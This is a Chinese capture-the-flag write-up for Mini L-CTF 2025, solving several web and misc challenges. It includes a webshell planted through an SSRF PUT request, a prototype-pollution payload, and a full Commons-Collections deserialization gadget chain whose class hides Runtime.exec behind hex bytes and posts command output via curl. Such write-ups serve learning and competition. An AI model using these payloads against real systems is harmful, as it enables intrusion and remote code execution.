西电Mini L-CTF 2025 Web+部分Misc WriteUp

西电Mini L-CTF 2025 Web+部分Misc WriteUp

lzz0403

Mini L-CTF 2025

前言

队伍 :那年的夏日没等到你

RANK :6

image-20250509170448373

Misc

吃豆人

image-20250509170839967

审计game.js代码

image-20250509170801207

看到逻辑,通过对submit_score发包,达到分数其返回flag,

我们直接控制台fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
fetch('/submit_score', {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ score: 5000 })
})
.then(response => response.json())
.then(data => {
if (data.flag) {
alert("🎉 恭喜!你的flag是:" + data.flag);
} else {
alert("未达到指定分数!");
}
});

image-20250509170932042

麦霸评分

image-20250509171028834

额发现源音频路径http://127.0.0.1:43762/original.wav

亲测,下载下来再传上去不能达到100%匹配,不知道为什么qwq

我们审查源码script逻辑,发现/compare-recording通过对两音频的比较,flag居然和匹配度没有关系………他的逻辑是如果有flag则显示flag……….
flag藏在上传音频的data里面aaaaaa

image-20250509171233197

我们这里溯源formData,传入了audioBlob,这里上传的是recording.wav,我们需要将original.wav替换recording.wav

image-20250509171625155

再往上看audioBlob的源头,我们从这里入手,让服务器本地fetch其original.wav的路径,然后将其存入audioBlob,然后再传给/compare-recording

image-20250509171737393

payload1:我们创建original.wav的Blob对象

1
2
3
const response = await fetch('/original.wav');
const audioBlob = await response.blob();
console.log(audioBlob);

payload2:传入/compare-recording

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const formData = new FormData();
formData.append('audio', audioBlob, '/original.wav');

fetch('/compare-recording', {
method: 'POST',
body: formData
})
.then(response => {
// 检查响应状态
if (!response.ok) {
throw new Error(`服务器响应错误: ${response.status} ${response.statusText}`);
}
return response.json();
})
.then(data => {
// 隐藏加载状态
loader.style.display = 'none';

// 如果成功获取到录音文件名,保存它
if (data.filename) {
currentRecordingFilename = data.filename;
}

// 显示匹配度
const similarity = parseFloat(data.similarity);
similarityValue.style.width = `${similarity}%`;

// 显示结果
result.textContent = `匹配度: ${similarity.toFixed(2)}% - ${data.message}`;
result.style.display = 'block';

// 根据匹配度设置不同的样式
result.className = 'result';
if (similarity >= 98) {
result.classList.add('result-perfect');
} else if (similarity >= 85) {
result.classList.add('result-high');
} else if (similarity >= 70) {
result.classList.add('result-medium');
} else {
result.classList.add('result-low');
}

// 如果有FLAG,显示FLAG弹窗
if (data.flag) {
showFlagModal(data.flag);
}
})

最后拿到flag

image-20250509172222903

Web

Click and Click

js带混淆,需要一点点的逆向吧,前端其他的不管,可以自己逆向,前端点击1000次和10000次触发的东西

这里我们看重要的,这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set

image-20250509172434489

当amount >= 1000时会触发点击过快,而amount >=10000时才返回flag,这很矛盾,我们看click,我们再看10000次点击前端的提示

image-20250509173110160

这里一开始就是0,amount已经被删除,而后端要读取amount要在往上层去读取,可以打proto原型链污染让他取原型链的值来实现绕过

image-20250509172702283

payload: POST请求/update-amount

1
2
3
4
5
6
7
8
{
"type":"set",
"point": {
"__proto__": {
"amount": "10000"
}
}
}

image-20250509172835342

GuessOneGuess

一个纯js题目

下载源码看game-ws.js逻辑

image-20250509173615296

这在js里面如果要大于这个数就是要无限大,我们要普通达到这个分数是不可能的,我们要想办法更改分数为Infinity,才能使这个if通过,使得showFlag

我们看game.pug,这里socket打开了一个punishment连接,向punishment-response后端发送分数,这里分数是scoreDisplay.textContent,这个我们前端是可以改的
image-20250509173941736

image-20250509174039499

我们看回game-ws.js后端,这里猜测次数>=100次会向前端punishment发送message,会重置分数,后端重置分数的逻辑是punishment-response收到请求后totalscore = totalscore-data.score,其中data.score是前端数据传来的,则我们只要一直猜不对,totalscore就会是0,而如果我们在第99次时修改前端score,使得data.score=-Infinity,则后端在第100次重置分数时,totalscore就会等于Infinity,满足了第一个if逻辑从而得到flag

image-20250509174132165

image-20250509174238154

payload:在第99次时在控制台修改前端的score,然后再触发第100次导致重置分数使得分数等于Infinity

1
document.getElementById('score-display').textContent = -Infinity

image-20250501212243603

MiniUp

这里一开始我跑偏了,看到有dufs,而且是内网,以为要机器人读fetch dufs查询根目录的带有f的文件,然后读取,结果后来发现dufs没有路径穿越,只能通过软连接实现穿越,但是又没有zip解压那种软连接功能上传,所以我想应该是其他方向

这里一开始,我们看查看图片有文件泄露,他逻辑是以将文件以base64编码,然后用base64编码图片展示,我们可以获取源码

image-20250509175235502

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$filename = $file['name'];

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}

$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);

$file_content = file_get_contents($file['tmp_name']);

$ch = curl_init($target_url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];

if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}

$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';

$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];

$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}

$response_data['paths'] = $filtered_paths;

echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];

$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));

if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';

echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}

exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>迷你图片空间</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f8ff;
}
.section {
margin-bottom: 30px;
padding: 15px;
border: 1px solid #add8e6;
border-radius: 5px;
background-color: white;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
h2 {
margin-top: 0;
color: #4682b4;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #4682b4;
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 8px;
box-sizing: border-box;
border: 1px solid #add8e6;
border-radius: 4px;
}
button {
padding: 10px 15px;
background-color: #4682b4;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #5f9ea0;
}
.result {
margin-top: 15px;
padding: 10px;
border: 1px solid #add8e6;
border-radius: 4px;
background-color: #f0f8ff;
display: none;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
background-color: #f5f5f5;
padding: 10px;
border-radius: 4px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<h1>迷你图片空间</h1>

<div class="section">
<h2>上传图片</h2>
<form id="uploadForm" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label for="file">选择图片:</label>
<input type="file" id="file" name="file" required>
<small>支持所有类型的图片</small>
</div>
<button type="submit">上传图片</button>
</form>
<div id="uploadResult" class="result"></div>
</div>

<div class="section">
<h2>搜索图片</h2>
<form id="searchForm">
<input type="hidden" name="action" value="search">
<div class="form-group">
<label for="query">搜索关键词:</label>
<input type="text" id="query" name="query" required
pattern="[a-zA-Z0-9]+"
title="只允许输入数字和字母"
placeholder="输入图片关键词(仅限数字和字母)">
</div>
<button type="submit">搜索</button>
</form>
<div id="searchResult" class="result">
<h3>搜索结果:</h3>
<div id="searchResultContent"></div>
</div>
</div>

<div class="section">
<h2>查看图片</h2>
<form id="viewForm">
<input type="hidden" name="action" value="view">
<div class="form-group">
<label for="filename">图片路径:</label>
<input type="text" id="filename" name="filename" required placeholder="输入图片路径">
</div>
<button type="submit">查看图片</button>
</form>
<div id="viewResult" class="result">
<h3>图片预览:</h3>
<div id="fileContent"></div>
</div>
</div>

<script>
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = data.message;
resultDiv.style.color = data.success ? 'green' : 'red';
})
.catch(error => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '上传过程中发生错误';
resultDiv.style.color = 'red';
});
});

document.getElementById('searchForm').addEventListener('submit', function(e) {
e.preventDefault();

var searchQuery = document.getElementById('query').value;

var alphanumericRegex = /^[a-zA-Z0-9]+$/;
if (!alphanumericRegex.test(searchQuery)) {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
return;
}

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';

if (data.success) {
try {
var jsonData = JSON.parse(data.result);

if (jsonData.paths && jsonData.paths.length > 0) {
var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
resultHtml += '</tr></thead><tbody>';

jsonData.paths.forEach(function(item) {
var date = new Date(item.mtime);
var formattedDate = date.toLocaleString();
var fileSize = formatFileSize(item.size);

resultHtml += '<tr style="border: 1px solid #ddd;">';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
resultHtml += '</td></tr>';
});

resultHtml += '</tbody></table>';
document.getElementById('searchResultContent').innerHTML = resultHtml;
} else {
document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
}
} catch (e) {
document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
}
} else {
document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
}
})
.catch(error => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
});
});

document.getElementById('viewForm').addEventListener('submit', function(e) {
e.preventDefault();

var formData = new FormData(this);

fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';

if (data.success) {
var fileContentDiv = document.getElementById('fileContent');
fileContentDiv.textContent = '';

var img = document.createElement('img');
img.src = data.base64_data;
img.style.maxWidth = '100%';
img.style.display = 'block';
img.style.margin = '0 auto';
fileContentDiv.appendChild(img);
} else {
document.getElementById('fileContent').textContent = '错误: ' + data.message;
}
})
.catch(error => {
console.error('错误:', error);
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
document.getElementById('fileContent').textContent = '获取图片时发生错误';
});
});

function formatFileSize(bytes) {
if (bytes === 0) return '0 B';

const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));

return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}

function viewFile(filename) {
document.getElementById('filename').value = filename;
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
}
</script>
</body>
</html>

这里上传严格限制基本没有可以绕过的点,所以排除文件上传漏洞

image-20250509175613976

这里我们看有dufs服务作为文件存储,再看最后查看图片的file_get_contents方法,有stream_context_create可以仿真http请求,也就是说前面的filename如果是url,后面的参数可以仿真其请求,我们根据前面的代码可以知道dufs大概的创建文件逻辑,我们目的就是要创建一个内存马

image-20250509175351525

这里创建文件的逻辑是,PUT请求http://127.0.0.1:5000/filename

filename是你要创建的文件名称

image-20250509175523797

image-20250509175657520

则我们就post请求

image-20250509180130605

参数如下

1
action=view&filename=http://127.0.0.1:5000/shell.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['a']);?>

image-20250509180423636

ezCC

image-20250509180458041

0b1d962562c4baea5a0e1dfe3e46ffa

动态cc链就只有cc3了,这个因为不出网,所以我只打通了本地,也知道如何回显,就是访问/handle,让其命令执行的内容返回到context评论,通过评论读回显,但是发现命令curl也没有,因为比赛最后时刻就没有搞了,这里就只展示其rce的cc3链

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

看其blacklist,设置了两个,第一个基本ban了命令执行rce,第二个把cc3常用的chainedtransformer ban了

image-20250509181145674

index这里,在deserialize处理数据,payload,还有长度限制,内存马好像不太行

image-20250509181805458

这里利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
HashMap#readObject()

TiedMapEntry#hashCode()

LazyMap#get()

InvokerTransformer#transform()

TemplatesImpl#newTransformer()

TemplatesImpl#getTransletInstance()

恶意类

poc(CC3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC3 {

public static void main(String[] args) throws Exception {
byte[] evilCode = generateEvilClass();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
setFieldValue(templates, "_name", "a");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer(
"getOutputProperties", new Class[0], new Object[0]);

Map lazyMap = LazyMap.decorate(new HashMap(), transformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

HashSet hashSet = new HashSet(1);
hashSet.add("foo");

Field field = HashSet.class.getDeclaredField("map");
field.setAccessible(true);
HashMap hashSetMap = (HashMap) field.get(hashSet);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashSetMap);

Object node = table[0];
if(node == null) {
node = table[1];
}

Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
oos.close();

String base64 = java.util.Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64);
byte[] bytes = Base64.getDecoder().decode(base64);
}

private static byte[] generateEvilClass() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("target/classes/org/example/runtime.class"));
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass(new ByteArrayInputStream(code));

// 确保父类设置
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

return cc.toBytecode();
}

private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void des_normal(String payload) throws Exception {
byte[] bytes = Base64.getDecoder().decode(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
objectInputStream.readObject();
}
}

poc(恶意类runtime.class)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

public class runtime {
static {
try {
// 十六进制
String className = new String(new byte[]{
0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65
}); // "java.lang.Runtime"

Class<?> clazz = Class.forName(className);
Object runtime = clazz.getMethod(
new String(new byte[]{0x67, 0x65, 0x74, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65}) // "getRuntime"
).invoke(null);

clazz.getMethod(
new String(new byte[]{0x65, 0x78, 0x65, 0x63}), // "exec"
String.class
).invoke(runtime, "curl -X POST -d \"data=$(ls /)\" http://127.0.0.1:8080/handle");
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里恶意类利用了十六进制混淆runtime,使其绕过第一个blacklist

这里只展示rce,具体获得flag,请各位大佬自行研究

附IndexController.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.controller;

import com.example.Components.Comment;
import com.example.tools.BlackList;
import com.example.tools.ByteArrayToStringExtractor;
import com.example.tools.Tools;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.core.io.FileSystemResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
public ArrayList<Comment> comments = new ArrayList();
public BlackList bl = new BlackList();
Set<String> blacklist;

public IndexController() {
this.blacklist = this.bl.blacklist;
}

@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request) {
return "<html><head><style>body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }h1 { color: #333; }form { margin-top: 20px; }label { display: block; margin-bottom: 8px; }input[type='text'] { width: 100%; padding: 8px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; }input[type='submit'] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }input[type='submit']:hover { background-color: #45a049; }</style></head><body><div class='container'><h1>Welcome to miniLCTF 2025~</h1><p>Do you really know the CC?</p><form action='/handle' method='post'> <label for='data'>Enter data:</label> <input type='text' id='data' name='data'> <input type='submit' value='Submit'></form></div></body></html>";
}

@PostMapping({"/handle"})
public String ser(String data) throws Exception {
Comment new_comment = new Comment(data);
byte[] comments_code = Tools.serialize(new_comment);
String comments_str = Tools.base64Encode(comments_code);
this.deser(comments_str);
return "redirect:/show";
}

@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
if (data.length() > 6000) {
throw new Exception("Payload too long");
} else {
byte[] comments_code = Tools.base64Decode(data);
List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);

for(String i : this.blacklist) {
for(String s : result) {
if (s.contains(i)) {
throw new Exception("Forbidden blacklist");
}
}
}

try {
Comment trans_comment = (Comment)Tools.deserialize(comments_code);
this.comments.add(trans_comment);
} catch (Exception e) {
e.printStackTrace();
}

}
}

@RequestMapping({"/show"})
@ResponseBody
public String show(HttpServletRequest request) throws Exception {
StringBuilder htmlBuilder = new StringBuilder();
htmlBuilder.append("<html><head><style>").append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }").append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }").append("h1 { color: #333; }").append("ul { list-style-type: none; padding: 0; }").append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }").append(".comment-text { font-weight: bold; }").append(".comment-time { color: #666; font-size: 0.9em; }").append("</style></head><body>").append("<div class='container'>").append("<h1>Comments</h1>");
if (this.comments.isEmpty()) {
htmlBuilder.append("<p>No comments yet.</p>");
} else {
htmlBuilder.append("<ul>");

for(Comment comment : this.comments) {
htmlBuilder.append("<li>").append("<span class='comment-text'>").append(comment.getText()).append("</span>").append("<br>").append("<span class='comment-time'>From: ").append(comment.getFormattedTimestamp()).append("</span>").append("</li>");
}

htmlBuilder.append("</ul>");
}

htmlBuilder.append("</div></body></html>");
return htmlBuilder.toString();
}

@RequestMapping({"/secret"})
@ResponseBody
public ResponseEntity<Resource> secret(HttpServletRequest request) throws IOException {
String path = "/app/final.jar";
Resource resource = new FileSystemResource(path);
if (resource.exists() && resource.isReadable()) {
HttpHeaders headers = new HttpHeaders();
headers.add("Content-Disposition", "attachment; filename=\"" + resource.getFilename() + "\"");
return ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentLength(resource.contentLength()).contentType(MediaType.APPLICATION_OCTET_STREAM).body(resource);
} else {
return ResponseEntity.notFound().build();
}
}
}

结尾

MiniL还是很不错的,可惜这次没打pybox,后面复现一下吧,java接触的少,所以到最后时间不够了,燃尽了…….

这次题目偏js多一点,甚至misc都出了两个js题目,额怎么说呢,misc手快成全栈✌了,我web要失业了呜呜呜呜

总体来说应该没有什么错误,如果有些地方写的没有到位或者有错误,还请各位大佬多多指出 Orz

  • Title: 西电Mini L-CTF 2025 Web+部分Misc WriteUp
  • Author: lzz0403
  • Created at : 2025-05-09 00:00:00
  • Updated at : 2026-05-03 12:19:02
  • Link: https://www.cnup.top/2025/05/09/西电Mini L-CTF 2025 Web+部分Misc WriteUp/
  • License: This work is licensed under CC BY-NC-SA 4.0.